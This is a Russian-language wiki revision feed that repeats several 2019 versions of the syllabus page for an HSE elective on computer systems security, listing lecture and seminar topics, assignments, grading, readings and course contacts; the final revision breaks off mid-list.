[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35644</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35644"/>
		<updated>2019-10-07T09:59:05Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
# (14.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) Семинара нет.&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35505</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35505"/>
		<updated>2019-10-01T08:21:52Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
# (14.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) Семинара нет.&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35478</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35478"/>
		<updated>2019-09-30T15:01:58Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) Семинара нет.&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35323</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35323"/>
		<updated>2019-09-25T09:58:24Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
